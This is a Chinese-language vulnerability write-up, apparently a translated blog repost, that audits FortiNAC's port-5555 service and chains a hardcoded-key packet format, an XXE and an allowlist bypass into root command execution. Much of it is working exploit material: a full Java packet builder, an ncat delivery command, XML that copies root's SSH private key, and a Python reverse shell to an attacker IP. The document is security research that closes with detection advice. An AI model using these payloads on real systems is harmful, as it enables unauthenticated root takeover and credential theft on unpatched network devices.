【Java代码审计】FortiNAC 远程代码执行漏洞(二)

FortiNAC高危漏洞CVE-2022-39952深度剖析:从路径遍历到RCE的攻防启示 在网络安全领域,输入验证是保障应用安全的核心防线。其原理在于对用户提交的数据进行严格的过滤、净化和校验,防止恶意输入被程序误执行为代码或指令。这一技术的价值在于能够从根源上阻断大量常见的高危攻击,如SQL注入、跨站脚本以及本文重点探讨的路径遍历漏洞。路径遍历漏洞(CWE-73)的本质是应用程序未对用户控制的文件名或路径参数进行充分校验,导致攻击者可通过构造如“../”等特殊序列,非法访问或包含系统敏感文件。在Java Web等应用场景中,若结合文件上传等功能,极易升级为远程代码执行(RCE),从而完全控制系 阅读详情

本文所述漏洞均已修复,未经授权不得进行非法渗透测试。
原文出处:https://frycos.github.io/vulns4free/2023/06/18/fortinac.html

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

前言

FortiNAC 是一款零信任访问解决方案,负责监督和保护连接到企业网络的所有数字资产,覆盖 IT、IoT、OT/ICS 到 IoMT 等设备。– https://www.fortinet.com/products/network-access-control

2023 年 2 月,一项新漏洞成为主流新闻焦点:CVE-2022-39952(参见 FG-IR-22-300)。利用该漏洞,未认证的攻击者可在 FortiNAC 9.4.1 之前的设备上,通过针对 TCP 端口 8443 的链,实现远程代码执行(RCE)。简而言之:一个未受保护的 JSP 文件 /configWizard/keyUpload.jsp 可用于上传 ZIP 文件,而该文件随后被解压到完全可控的路径中。

侦察

在 CVE-2022-39952 首次披露后不久,我想,为什么不看看该产品在已修复的 9.4.1 版本中还有没有漏洞呢?

我获取到了未修复版本(9.4.0)和已修复版本(9.4.1)的虚拟机镜像。但该从何入手呢?我推测大多数人可能会更仔细地查看 TCP 端口 8443 上的服务,因为那里有大量其他 JSP 文件。因此,我将注意力放在了那些默认启动、且同样暴露在所有网络接口上的其他服务上。

审计5555端口

观察 PID 为 2547 的进程,其命令行如下:

/usr/bin/java -server -Xms32m -Xmx768m -Dyams.dist=/bsc/campusMgr \
-classpath .:/bsc/campusMgr/lib/*:./properties_plugin:/bsc/campusMgr/properties \
com.bsc.server.CampusManager /bsc/campusMgr/bin/.networkConfig /bsc/campusMgr/master_loader/.cmas

这次我们从类 com.bsc.server.CampusManager 入手,同时注意它的一些启动参数。分析同样从入口方法 com.bsc.server.CampusManager.main(String[] args) 开始。

public static void main(final String[] args) {
    final double version = getJavaVersion();
    if (version < 1.6) {
        System.out.println("Error: Incorrect java version. Java 1.6 or higher required. Version = " + version);
        System.exit(1);
    }
    loadProperties("com.bsc.loader.system.property.");
    X509Provider.install();
    System.setProperty("javax.rmi.CORBA.UtilClass", "com.bsc.api.CORBAUtil");
    Thread.setDefaultUncaughtExceptionHandler(new YamsExceptionHandler());
    try {
        final CampusManager campusManager = new CampusManager(args); // [1]
    }
	...

在 [1] 处,调用了 com.bsc.server.CampusManager.CampusManager(String[] args) 构造函数,同时传入启动参数。这个构造函数非常庞大,我们看看关键的部分:

public CampusManager(final String[] args) {
    ...
    if (args.length >= 2) {
        this.configFile0 = args[0];
        this.configFile1 = args[1];
        final String yamsDist = YamsDist.getCampusMgrPath();
        final File file = new File(yamsDist + "/.intialResources");
        if (file.exists()) {
            ResourceManager.loadInitialResources(yamsDist + "/.intialResources");
        }
        this.readConfigFiles(this.configFile0, this.configFile1, true, true); // [2]
    }
	...

在 [2] 处调用的方法会进入 com.bsc.server.CampusManager.readConfigFiles(String file0, String file1, boolean createNewLog, boolean startProcesses) 的实现。

这个函数同样非常庞大,我们看看关键的部分:

public void readConfigFiles(final String file0, final String file1, final boolean createNewLog, final boolean startProcesses) {
    this.debug("starting readConfigFiles");
    ...
    this.name = this.product;
    if (this.name != null) {
        if (startProcesses) {
            this.sslSocketThread = new CampusManagerSocket(this.serverPort, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA", "TLSv1.2", false, new CampusManagerSocketListener() {
                @Override
                public void callbackListener(final Socket s) { // [3]
                    final Thread t = new Thread(new SSLSocketHandler(s), "SSL Socket - " + s.getRemoteSocketAddress() + ":" + s.getPort());
                    t.start();
                }
            });
            final Thread t = new Thread(this.sslSocketThread, this.sslSocketThread.getClass().getName());
            t.start();
            (this.commandThread = new CommandThread()).start();
        }
		...

在 [3] 处,我们同样看到 com.bsc.server.CampusManagerSocket.CampusManagerSocket 的构造函数,其中一个参数实现了 com.bsc.server.CampusManagerSocketListener 接口的 callbackListener(final Socket s) 方法。

不过这一次,在 java.lang.Thread 的构造函数中,我们得到的是 com.bsc.server.CampusManager.SSLSocketHandler.SSLSocketHandler 对象。查看它的 run() 方法发现,不像之前那样有一个孤立的 readObject() 等待调用:

@Override
public void run() {
    final InetAddress remoteHost = this.socket.getInetAddress();
    final int port = this.socket.getPort();
    try {
        if (CampusManager.this.debug || !remoteHost.getHostAddress().equals(CampusManager.this.ip)) {
            CampusManager.this.debug("Client connecting from IP = " + remoteHost.getHostAddress() + " name = " + remoteHost.getHostName() + " port = " + this.socket.getPort());
        }
        this.socket.setSoTimeout(0);
        this.socket.setKeepAlive(true);
        final OutputStream out = this.socket.getOutputStream();
        final InputStream in = this.socket.getInputStream();
        while (true) {
            final CampusManagerPacket packet = new CampusManagerPacket(remoteHost, port, in); // [4]
            if (packet.isValidHeader()) {
                CampusManager.this.processPacket(packet, out);
            }
        }
    }
	...

这次套接字的输入仍然是通过 java.net.Socket.getInputStream() 读取,但这次读入的是一个 java.io.InputStream 变量。

那么在 [4] 处,这些数据会发生什么呢?

看看 com.bsc.util.CampusManagerPacket.CampusManagerPacket(InetAddress address, int port, InputStream in) 的构造函数:

public CampusManagerPacket(final InetAddress address, final int port, final InputStream in) throws IOException {
    ...
    this.passPhrase = "C1#!ff24A0K2"; // *cough*
    ...
    this.unpackInputStream(in, packetLength); // [5]
}

在构造函数中,首先定义了一个固定的 passPhrase(用于加密/解密)。

然后调用 unpackInputStream(InputStream in, int packetLength) 方法,将输入流的数据进行解析。

也就是说,套接字接收到的数据会被封装成 CampusManagerPacket 对象,并通过 unpackInputStream 方法处理其内容。

跟进 unpackInputStream 方法:

private void unpackInputStream(final InputStream in, final int packetLength) throws IOException {
    final DataInputStream input = new DataInputStream(in); //[6]
    this.requestID = input.readInt(); // [7]
    this.responseID = input.readInt(); // [8]
    this.verb = input.readInt(); // [9]
    int len = input.readInt(); // [10]
    this.length = len;
    if (len > 4000) {
        len = packetLength - 32;
        this.error = 3;
    }
    final byte[] packetHash = new byte[16];
    for (int i = 0; i < 16; ++i) {
        packetHash[i] = input.readByte(); // [11]
    }
    final byte[] calculatedHash = this.hashHeader((int)this.requestID, (int)this.responseID, this.verb, this.length);
    this.validHeader = Arrays.equals(packetHash, calculatedHash);
    this.aesEncryptionEnabled = ((this.verb & 0x1000000) != 0x0);
    this.verb &= 0xFFFFFF;
    if (len > 0) {
        input.readFully(this.compressedData = new byte[len]); // [12]
    }
    if (this.compressedData != null && this.aesEncryptionEnabled) {
        final byte[] b = this.passPhrase.getBytes();
        final ByteArrayOutputStream baos = new ByteArrayOutputStream();
        final DataOutputStream output = new DataOutputStream(baos);
        output.write(b, 0, b.length);
        output.writeInt((int)this.requestID);
        final byte[] phrase = baos.toByteArray();
        this.compressedData = EncodeDecode.decryptAES(phrase, this.compressedData);
        output.close();
        baos.close();
    }
}

这似乎是某种自定义的数据包格式在被处理,因此我们必须先了解其结构。

在 [6] 处,我们的输入流被传入 java.io.DataInputStream 构造函数。随后在 [7] 到 [10] 的每一行中,会从流中读取接下来的四个字节,并将其解释为一个整数。requestID、responseID、verb 和 len 在后续会用到,这些都是用户可控的。

同样,数据包的哈希值也是如此,它在 [11] 处从流中获取。随后与一个 calculatedHash 进行比较,而 calculatedHash 的计算仅依赖于我们已能控制的其他变量。

在 [12] 处,剩余的数据被读取到 compressedData 变量中。根据 verb 的不同,可能会有额外的解密操作。不过这并不会构成障碍,因为密钥是硬编码的。

回到 com.bsc.server.CampusManager.SSLSocketHandler.run() 方法中,由于我们已经理解了数据包的结构,packet.isValidHeader() 肯定为 true。随后,代码会执行下一步:调用 CampusManager.this.processPacket(packet, out) 来处理该数据包。

跟进 processPacket():

private void processPacket(final CampusManagerPacket packet, final OutputStream out) throws IOException {
    final InetAddress host = packet.getAddress();
    final int port = packet.getPort();
    final String packetIP = host.getHostAddress();
    this.debug("ReceivePacket IP = " + packetIP + " port = " + port + " Verb = " + CampusManagerPacket.verbToString(packet.getVerb()) + " RequestID = " + packet.getRequestID() + " ResponseID = " + packet.getResponseID() + " length = " + packet.getLength());
    String xml = null;
    try {
        xml = this.processPacket(packet); // [13]
    }
    catch (final Exception e) {
        e.printStackTrace();
        xml = "Process aborting. " + e.getMessage();
    }
    if (packet.getVerb() != 2) {
        final CampusManagerPacket p = new CampusManagerPacket();
        p.setAddress(host);
        p.setPort(port);
        p.setVerb(2);
        p.setResponseID(packet.getRequestID());
        p.setXml(xml);
        final DataOutputStream dos = new DataOutputStream(out);
        p.writePacket(dos);
        dos.flush();
    }
}

在 [13] 处,我们发现了一个 xml 变量,其内容来自我们发送的数据包。看起来这可能是一次 XML 外部实体(XXE)攻击 的机会。

接着查看 com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet) 方法:

private String processPacket(final CampusManagerPacket packet) throws Exception {
    String retval = null;
    final int verb = packet.getVerb(); // [14]
    this.debug("processPacket() Verb = " + CampusManagerPacket.verbToString(verb));
    if (verb == 2) {
        this.requests.remove(new Long(packet.getResponseID()));
        this.responses.addResponse(packet);
    }
    else if (verb == 4) {
        this.setDebug(!this.debug);
    }
    ...
    else if (verb == 5) {
        final CommandObject obj = new CommandObject(packet.getXml()); // [15]
        this.log(obj.toString());
        if (obj.commandName == null || !this.isAllowedRemoteCommand(obj.commandName)) {
            this.log("WARNING: remote command not allowed (" + obj.commandName + ")");
            throw new Exception("Remote command not allowed (" + obj.commandName + ")");
        }
        try {
            this.commandVector.put(obj);
        }
        catch (final InterruptedException e) {
            e.printStackTrace();
        }
    }
    ...
    else if (verb == 9) {
        this.debug("configFiles: " + this.configFile0 + "  " + this.configFile1);
        this.talkedToPartner = false;
        this.readConfigFiles(this.configFile0, this.configFile1, false, false);
        final InetAddress remoteAddress = packet.getAddress();
        final String remoteIP = remoteAddress.getHostAddress();
        if (this.controlServer && this.inControl) {
            this.sendToNetwork(9, remoteIP);
        }
    }
    else if (verb == 11) {
        this.shutdown = true;
    }
    if (retval == null && verb != 2 && verb != 6) {
        retval = this.buildAck();
    }
    return retval;
}

我们的 com.bsc.util.CampusManagerPacket 数据包被传入,随后在 [14] 处提取出 verb 字段。根据不同的 verb,可以触发不同的操作。代码中存在大量的 else if 结构,这里挑选出与分析最相关的部分。

我们关注 verb 等于 5 的情况,因此在 [15] 处,通过 com.bsc.util.CampusManagerPacket.getXml() 方法从数据包中获取 XML 内容。这个方法只做了一些解压操作,但 com.bsc.server.CampusManager.CommandObject.CommandObject(String xml) 构造函数的实现确认了我们最初的猜测:这里确实存在可被利用的 XML 处理逻辑。

其实现如下所示:

public CommandObject(final String xml) {
    this.commandName = null;
    this.args = new String[0];
    this.buffer = new StringBuffer();
    this.time = 0L;
    this.retval = false;
    this.index = 0;
    try {
        final StringReader reader = new StringReader(xml);
        final InputSource source = new InputSource(reader);
        final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        final DocumentBuilder builder = factory.newDocumentBuilder();
        final Document doc = builder.parse(source); // [16]
        doc.getDocumentElement().normalize();
        this.commandName = CampusManagerMachine.getXmlValue(doc, "commandName");
        if (this.commandName != null) {
            this.commandName = this.commandName.trim();
        }
        final String[] tmp = CampusManagerMachine.getXmlValues(doc, "arg");
        if (tmp != null) {
            this.args = tmp;
        }
    }
	...

在 [16] 处,我们触及了一个众所周知的 XXE 漏洞点:javax.xml.parsers.DocumentBuilder.parse(InputSource is)。

不过,为了验证这一点,我们需要一些代码,因为自定义数据包的结构必须手动构造。

完整的实现如下:

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.StringReader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.zip.Deflater;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

public class BuildPacket {

	public static void main(String[] args) throws Exception {
		FileOutputStream fos = new FileOutputStream("test_packet");
		DataOutputStream dos = new DataOutputStream(fos);
		int requestId = 1;
		int responseID = 2;
		int verb = 5;

		// Encryption
		String passPhrase = "C1#!ff24A0K2";
		final byte[] b = passPhrase.getBytes();
		final ByteArrayOutputStream baos = new ByteArrayOutputStream();
		final DataOutputStream output = new DataOutputStream(baos);
		output.write(b, 0, b.length);
		output.writeInt((int) requestId);
		final byte[] phrase = baos.toByteArray();

		String xml = readFile("test.xml", Charset.defaultCharset());
		//checkXml(xml);
		byte[] compressedXml = compressXML(xml);
		//byte[] encryptedcompressedXml = EncodeDecode.encryptAES(phrase, compressXML(xml));

		int len = compressedXml.length;
		// Built valid hash
		byte[] packetHash = hashHeader(requestId, responseID, verb, len);

		dos.writeInt(requestId);
		dos.writeInt(responseID);
		dos.writeInt(verb);
		dos.writeInt(len);
		dos.write(packetHash);
		// Case 1: compressedXml, Case 2: encryptedcompressedXml
		dos.write(compressedXml);

		dos.flush();
		dos.close();
		fos.flush();
		fos.close();
		System.out.println("File written: test_packet");
		if ((verb & 0x1000000) != 0x0)
			System.out.println("Should contain encrypted part!");
		System.out.println("Final verb:" + (verb & 0xFFFFFF));
	}

	private static byte[] hashHeader(final int requestID, final int responseID, final int verb, final int length) {
		MessageDigest md5Digest;
		try {
			md5Digest = MessageDigest.getInstance("MD5");
		} catch (final NoSuchAlgorithmException e) {
			e.printStackTrace();
			md5Digest = null;
		}
		byte[] hash = null;
		if (md5Digest != null) {
			ByteBuffer data = ByteBuffer.allocate(16);
			data = data.putInt(0, requestID);
			data = data.putInt(4, responseID);
			data = data.putInt(8, verb);
			data = data.putInt(12, length);
			md5Digest.update(data.array());
			hash = md5Digest.digest();
		}
		return hash;
	}

	private static byte[] compressXML(final String val) {
		String xml;
		if (val != null) {
			Deflater compressor = null;
			try {
				xml = val;
				final byte[] bytes = xml.getBytes();
				compressor = new Deflater();
				compressor.setLevel(9);
				compressor.setInput(bytes);
				compressor.finish();
				final ByteArrayOutputStream bos = new ByteArrayOutputStream(bytes.length);
				final byte[] buf = new byte[1024];
				while (!compressor.finished()) {
					final int count = compressor.deflate(buf);
					bos.write(buf, 0, count);
				}
				bos.close();
				return bos.toByteArray();
			} catch (final Exception e) {
				e.printStackTrace();
			} finally {
				if (compressor != null) {
					compressor.end();
				}
			}
		} else {
			return null;
		}
		return null;
	}

	private static String readFile(String path, Charset encoding) throws IOException {
		byte[] encoded = Files.readAllBytes(Paths.get(path));
		return new String(encoded, encoding);
	}

	private static String getXmlValue(final Document doc, final String key) {
		String value = null;
		final NodeList nodeList = doc.getElementsByTagName(key);
		if (nodeList.getLength() > 0) {
			final Node node = nodeList.item(0);
			final Node val = node.getFirstChild();
			if (val != null && val.getNodeValue() != null) {
				value = val.getNodeValue();
			}
		}
		return value;
	}

	private static String[] getXmlValues(final Document doc, final String key) {
		String[] values = null;
		final NodeList nodeList = doc.getElementsByTagName(key);
		if (nodeList.getLength() > 0) {
			values = new String[nodeList.getLength()];
			for (int i = 0; i < nodeList.getLength(); ++i) {
				final Node node = nodeList.item(i);
				final Node val = node.getFirstChild();
				if (val != null && val.getNodeValue() != null) {
					values[i] = val.getNodeValue();
				}
			}
		}
		return values;
	}

	private static void checkXml(String xml) throws Exception {
		final StringReader reader = new StringReader(xml);
		final InputSource source = new InputSource(reader);
		final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
		final DocumentBuilder builder = factory.newDocumentBuilder();
		final Document doc = builder.parse(source);
		doc.getDocumentElement().normalize();
		String commandName = getXmlValue(doc, "commandName");
		if (commandName != null) {
			System.out.println(commandName.trim().toString());
		}
		final String[] tmp = getXmlValues(doc, "arg");
		if (tmp != null) {
			for(int i = 0; i < tmp.length; ++i)
				System.out.println(tmp[i]);
		}
	}

}

现在我们可以提供任意的 text.xml 文件,运行这段代码会生成一个输出文件 test_packet。随后可以通过 ncat --ssl 将这个文件直接发送到 TCP 端口5555。

我们测试以下 XXE 示例。

构建一个 test.xml,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.137.0.16:1337/parameterEntity_oob.dtd">
<data>&send;</data>

运行我们的 BuildPacket 程序后,会生成 test_packet 文件,然后通过以下命令发送到 FortiNAC 实例:

ncat --ssl 10.137.0.34 5555 < test_packet

在这里插入图片描述

不过,这仅仅是一个未认证的 XXE 漏洞。

参数注入

如果看到类似 com.bsc.server.CampusManager.CommandObject 这样的类名,肯定得深入挖掘。

因此,我们再次查看 com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet) 方法,特别关注 verb 等于 5 的部分。

在 verb == 5 的分支中:

else if (verb == 5) {
    final CommandObject obj = new CommandObject(packet.getXml());
    this.log(obj.toString());
    if (obj.commandName == null || !this.isAllowedRemoteCommand(obj.commandName)) { // [17]
        this.log("WARNING: remote command not allowed (" + obj.commandName + ")");
        throw new Exception("Remote command not allowed (" + obj.commandName + ")");
    }
    try {
        this.commandVector.put(obj); // [18]
    ...
  • CommandObject 对象持有一个属性 commandName,在 [17] 处会检查该命令名是否在允许的远程命令列表中。
  • 如果检查通过,在 [18] 处 CommandObject 会被加入 commandVector(类型为 BlockingQueue<CommandObject>)。

接下来需要弄清楚,这些命令是如何执行的,以及到底允许哪些命令。

首先查看允许列表的实现,位于 com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd):

private boolean isAllowedRemoteCommand(final String cmd) {
    boolean retval = false;
    final String val = this.configManager.getValue("ALLOWED_REMOTE_CMDS"); // [19]
    if (val != null && val.length() > 0) {
        final String[] split;
        final String[] arr = split = val.split(",");
        for (final String s : split) {
            if (cmd.contains(s)) {
                retval = true;
                break;
            }
        }
    ...

这里通过读取配置项 ALLOWED_REMOTE_CMDS 得到允许的命令列表。

然后将命令字符串按逗号拆分,并检查 commandName 是否包含列表中的任意一项。

如果匹配,则返回 true,否则为 false。

也就是说,只要命令名包含允许列表中的任意子串,就会被认为是允许的远程命令。

在 [19] 处的 ALLOWED_REMOTE_CMDS 看起来是一个列表,在其他地方定义,用逗号分隔有效的命令。

我在 /bsc/campusMgr/master_loader/.cm 中找到了这个值的定义:

ALLOWED_REMOTE_CMDS=installAgentPackage,configApache,install-bin

接着我开始在 FortiNAC 实例中寻找这些脚本或可执行文件,发现了一个 shell 脚本 /bsc/campusMgr/bin/installAgentPackage。

该脚本中可达的部分如下:

else
    cp $1/$2 /bsc/campusMgr/agent/packages
fi

假设我们可以控制参数 $1 和 $2,那么理论上就可以影响文件复制的源路径和文件名,这为我们提供了潜在的利用点。不过问题在于,我们是否真的能通过发送 XML 到 TCP 端口 5555 的方式,调用这个脚本并传入任意参数呢?

继续分析代码,可以看到 commandVector 在后续是如何被使用的。

另外,还有一个继承自 java.lang.Thread 的类 com.bsc.server.CampusManager.CommandThread,它会定期检查某些列表以处理新加入的任务。下面我们来看一下它的 run() 方法实现。

@Override
public void run() {
    while (!CampusManager.this.shutdown) {
        CommandObject obj = null;
        try {
            boolean done = false;
            final long startTime = System.currentTimeMillis();
            while (!done) {
                done = true;
                for (int i = 0; done && i < this.commands.size(); ++i) {
                    final CommandObject val = this.commands.get(i);
                    if (val != null && val.time + 600000L < startTime) {
                        this.commands.remove(i);
                        done = false;
                    }
                }
            }
            obj = CampusManager.this.commandVector.take(); // [20]
            if (!CampusManager.this.shutdown && obj != null && obj.commandName != null && obj.args != null) {
                this.commands.remove(obj);
                this.commands.add(obj);
                String systemCommand = obj.commandName.trim(); // [21]
                for (int j = 0; j < obj.args.length; ++j) {
                    if (obj.args[j] != null) {
                        systemCommand = systemCommand + " " + obj.args[j].trim(); // [22]
                    }
                }
                CampusManager.this.log("Running command = " + systemCommand);
                final Process pr = Runtime.getRuntime().exec("sudo " + systemCommand); // [23]
                final BufferedReader input = new BufferedReader(new InputStreamReader(pr.getInputStream()));
                final BufferedReader error = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
                done = false;
				...

在 [20] 处,commandVector 队列会被检查,取出并移除队列头部的一个条目。对于该条目,会获取其 commandName 值 [21] 作为 systemCommand,然后遍历其 args 列表,将参数拼接成一个完整的字符串 [22]。最终,在 [23] 处,通过经典的 java.lang.Runtime.getRuntime().exec(String command) 调用执行整个命令。更关键的是,这个调用是以 sudo 权限执行,这意味着可以从 nac 用户直接提升到 root 权限。

虽然我们似乎被限制只能执行允许列表中的命令,但这些命令本身已经非常强大。

我们可以构造另一个 test.xml:

<?xml version="1.0" encoding="utf-8"?>
<commandName>installAgentPackage
<arg>/root
</arg>
<arg>
.ssh/id_rsa
</arg>
</commandName>

这会将 root 用户的 SSH 私钥复制到 /bsc/campusMgr/agent/packages 目录中。

借助这些脚本,我们已经可以在 FortiNAC 实例上执行多种危险操作(比如重新配置 Apache)。不过,能否找到危害更大的漏洞?

有经验的代码审计人员可能已经注意到上面 com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd) 方法中的一个问题:

if (cmd.contains(s)) {
    retval = true;
    break;
}

这里使用了 contains 而不是 equals。也就是说,只要 cmd 中包含允许的命令片段,就会被判定为合法,而不必完全匹配,这为绕过参数限制提供了机会。

例如,我们可以构造一个测试 XML:

<?xml version="1.0" encoding="utf-8"?>
<commandName>touch /tmp/RCE installAgentPackage
<arg>
</arg>
</commandName>

这里的 commandName 包含了允许的命令 installAgentPackage,所以会被执行,从概念验证角度来说,这是一次远程代码执行(RCE)。

我们可以利用 Runtime.getRuntime().exec 构造完整 shell 环境:

<?xml version="1.0" encoding="utf-8"?>
<commandName>bash -c $@|bash installAgentPackage echo touch /tmp/RCE
<arg>
</arg>
</commandName>

结果交付后没有任何效果,/tmp/RCE 文件没有创建。

幸好 FortiNAC 默认开启了扩展日志,可在 /bsc/logs/output.processManager 等位置查看,日志显示:

yams.CampusManager INFO :: ... :: commandName = bash -c $@|bash installAgentPackage echo touch /tmp/RCE
...
isAllowedCommand(bash -c $@|bash installAgentPackage echo touch /tmp/RCE) true
...
Sorry, user nac is not allowed to execute '/bin/bash -c $@|bash installAgentPackage echo touch /tmp/RCE' as root on localhost.localdomain.

虽然 isAllowedCommand(…) 返回 true,但是系统仍然阻止 nac 用户以 root 身份执行该命令,这意味着绕过允许列表获取完整 shell 还需要更巧妙的方式。

sudo 权限绕过

通常能够通过 sudo 执行命令对攻击者来说是很大的优势,但系统管理员也可以通过限制 sudo 来增加防护难度。

在 FortiNAC 中,用户 nac 有一个额外的 sudoers 配置文件 /etc/sudoers.d/nac。文件内容较多,这里只列出关键部分:

User_Alias NAC_MGMT = tomcat, nac

Cmnd_Alias NAC_MGMT_COMMANDS = \
                         /bin/cp, \
                         /usr/bin/nmap, \
                         /usr/bin/scp, \
                         /usr/bin/ssh, \
                         /usr/bin/openssl, \
                         /bin/ln, \
                         /bin/hostname, \
                         ...

可以看到,用户 nac 可以用 root 权限执行许多命令。

我尝试了 ssh 命令。通过向 localhost 发起 SSH 并附加任意命令,可以像下面这样构造 XML:

<?xml version="1.0" encoding="utf-8"?>
<commandName>ssh -E installAgentPackage root@localhost
<arg>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.137.0.16",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
</arg>
</commandName>

执行后,我们成功以 root 用户获取了反弹 shell,这是第二次远程代码执行(RCE)。

在这里插入图片描述

攻击痕迹(IoCs)

漏洞利用尝试可通过应用日志进行检测。

TCP 端口 5555 的命令注入:任何 /bsc/logs/output.processManager 中出现 isAllowedCommand(.+) false 的情况均应视为攻击尝试。

Fortinet FortiNAC RCE漏洞复现(CVE-2022-39952) FortiNAC keyUpload 脚本中存在路径遍历漏洞,未经身份认证的远程攻击者可利用此漏洞向目标系统写入任意内容,最终可在目标系统上以 Root 权限执行任意代码。 阅读详情

相关推荐

FortiNAC网络访问控制实施与管理

随着网络安全威胁的不断升级,网络接入控制成为了企业保护网络安全的重要手段之一。在本章中,我们将深入探讨FortiNAC——一种先进网络接入控制解决方案的核心功能,它为IT管理员提供了全面的网络设备管理和安全策略执行的能力。动态策略是指在网络中根据实时条件和预先定义的规则自动调整的策略。与静态策略不同,静态策略一旦设定就很少更改,而动态策略则能够根据网络的实时状态、用户行为、时间、事件等因素进行实时调整。这种策略的调整机制使得网络的安全和效率能够得到持续优化。

weixin_42594427的博客 1410

教程篇(7.2) 02. 资产管理 & OT安全 ❀ Fortinet 网络安全架构师 NSE7

在本课中,你将了解OT网络中的资产管理。

防火墙技术专栏 1211

SpringBoot+Vue+MySQL 高校学科竞赛平台 完整可运行版(源码+文档)

本项目基于SpringBoot+Vue+MySQL构建高校学科竞赛管理平台,覆盖学生、教师、领队教师、管理员四大角色,实现竞赛发布、报名、刷题、评分、公示等全流程闭环管理。系统架构清晰,技术主流,配套完整源码、数据库脚本、万字论文、开题报告、答辩PPT及部署文档,支持一键运行,适用于毕业设计、课程设计及院系二次开发,真正实现“开箱即用”。

招风的黑耳优快云 173

教程篇(7.2) 03. 安全架构 & 企业防火墙 ❀ Fortinet 网络安全架构师 NSE7

在这一课中,你将了解Fortinet企业防火墙解决方案和Fortinet安全架构。

防火墙技术专栏 1762

DP链路训练从HPD触发到通道对齐:原理与调试实战

高速数字接口的稳定工作依赖物理层信号的精确协商,链路训练正是DisplayPort接口中确保源端与接收端在速率、摆幅和时序上达成一致的关键机制。HPD作为链路状态变化的触发信号,与通道对齐一同构成了训练流程的首尾环节。理解从时钟恢复到均衡再到多通道对齐的完整过程,有助于快速定位显示异常问题。在工程实践中,借助DPCD寄存器交互和AUX通道日志,可以系统性地排查训练失败原因。围绕链路训练全流程进行剖析,重点探讨HPD触发机制、训练图案选择、寄存器配置以及链路降级策略,为显示方案开发与调试提供工程参考。

weixin_30110543的博客 235

通讯模块_三菱IQ-R PLC串口通讯模块RJ71C24进行Modbus-RTU通讯

在日常的选型中,很多电气工程师咨询我,三菱iQ-R系列有没有Modbus通讯模块,我在这里可以肯定的回复您,这个肯定是有的;我们共有三种可以选择分别是RJ71C24、RJ71C24-R2、RJ71C24-R4。RJ71C24系列支持MC协议通信、通信协议通信、无顺序协议通信、双向协议通信全、MODBUS通信。当我帮助他们选型之后,他们在使用的时候,又是一头雾水。那么今天我抽一些时间讲解一RJ71...

weixin_39878549的博客 9273

Fortinet 修复严重的 FortiNAC 远程命令执行漏洞

聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士Fortinet 公司更新零信任访问解决方案 FortiNAC,修复可被用于执行代码和命令的严重漏洞CVE-2023-33299。FortiNAC 可使组织机构管理网络访问策略、获得对设备和用户的可见性并保护网络免受越权访问和威胁。该漏洞的严重性评分是9.6,是一个不可信数据反序列化漏洞,可导致无需认证下的远程代码执行后果。受该漏洞影响的产品包括...

smellycat000的专栏 725

UE5游戏逆向实战:用FModel提取.pak文件中的3D模型(附Dumper-7避坑指南)

本文详细介绍了在UE5游戏逆向工程中使用FModel提取.pak文件中3D模型的实战技巧,包括Dumper-7工具的深度配置与避坑指南。针对UE5特有的unversioned属性系统,提供了从源码编译到智能注入的全链路解决方案,帮助开发者高效获取游戏资产并优化处理流程。

weixin_30374009的博客 497

教程篇(7.2) 03. 访问控制 & OT安全 ❀ Fortinet 网络安全架构师 NSE7

在本课中,你将了解OT网络中的访问控制方法。

防火墙技术专栏 951

uni-app蓝牙MTU设置失效探因:从20字节限制到跨设备兼容性实战

本文深入探讨了uni-app蓝牙开发中MTU设置失效的常见问题,特别是20字节限制的成因及解决方案。通过分析设备兼容性、蓝牙协议栈特性和系统版本差异,提供了智能延迟策略、设备特征检测和渐进式MTU提升等实战方案,帮助开发者优化蓝牙数据传输效率。

weixin_29289821的博客 289

无线充电Qi协议正向通信FSK的解调设计

常见的FSK解调方法是使用频率锁相环(PLL)来跟踪输入信号中的频率变化。PLL根据输入信号的频率变化来生成数字信号,从而实现FSK信号的解调。本文将详细介绍无线充电Qi协议正向通信FSK的解调设计,并提供相应的源代码。在上述示例代码中,我们首先定义了FSK解调的参数,包括采样率、载波频率、每个比特的持续时间和比特判定阈值。最后,通过比较滤波后的信号与比特判定阈值,我们将解调后的数字数据转换为0和1的序列。请注意,上述代码仅为示例,实际的解调设计可能需要根据具体的应用场景和系统要求进行调整和优化。

IunScala的博客 2444

【Java代码审计】FortiNAC 远程代码执行漏洞(一)

我已经预料到,程序自带的依赖库中就存在可被利用的类(gadget)。虽然某些新版本的 Java 对反序列化进行了限制或修复了部分漏洞,但所使用的 Java 版本 1.8.0_332 并未阻止这些 gadget 的使用,因此攻击可以顺利进行。在 /bsc/campusMgr/lib 目录下有许多常用的 Java 库,其中 commons-beanutils-1.9.2.jar 就是一个典型的可用于反序列化攻击的库。

等风来 914

基于深度学习的柠檬等级检测系统 —— YOLOv8 + UI界面 + 数据集

